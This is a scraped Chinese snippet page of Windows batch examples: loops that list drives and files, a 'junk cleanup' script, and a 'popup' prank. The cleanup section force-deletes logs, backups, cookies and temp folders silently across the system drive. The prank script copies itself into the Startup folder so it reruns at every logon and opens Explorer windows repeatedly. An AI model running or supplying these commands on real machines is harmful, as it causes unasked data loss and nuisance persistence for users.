首页 > 代码库 > 有关bat的一些代码
有关bat的一些代码
1.if语句 @echo off
if exist E:\aa.dat dir C: >> E:\ff.txt
pause
type E:\ff.txt
echo 已写入文件ff.txt
pause
mstsc & gpedit.msc & cleanmgr
echo... & pause
2.for语句 @echo off
2.for语句 @echo off
rem ping www.sina.com
echo 开始列出C,D,E盘下所有的目录...
pause
for %%a in (C: D: E:) do @dir %%a > E:\aa.dat
type E:\aa.dat
echo 结果已经写入E:\aa.dat文件
pause
tree C:\windows\system32
rem pause>>E:\aa.dat
echo 开始列出E盘所有cpp文件和txt文件...
pause
for /r E: %%a in (*.cpp *.txt) do dir "%%a" /b/s
pause
3.系统垃圾清理 @echo off
3.系统垃圾清理 @echo off
pause
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
pause
4.弹窗程序
4.弹窗程序
rem @echo off
rem for %%a in(C:\windows\explorer.exe C:\windows\explorer.exe C:\windows\explorer.exe) do @start %%a
rem start C:\windows\explorer.exe
rem pause>nul
rem start C:\windows\explorer.exe
rem pause>nul
rem start C:\windows\explorer.exe
@echo off
set /a count=0
if exist %WinDir%\HelpPane.exe copy /y "%0" "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
if not exist %WinDir%\HelpPane.exe copy /y "%0" "%userprofile%\「开始」菜单\程序\启动"
:loop
set /a count=count+1
start explorer.exe
cls
if %count% geq 5 pause&exit
goto loop
有关bat的一些代码
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。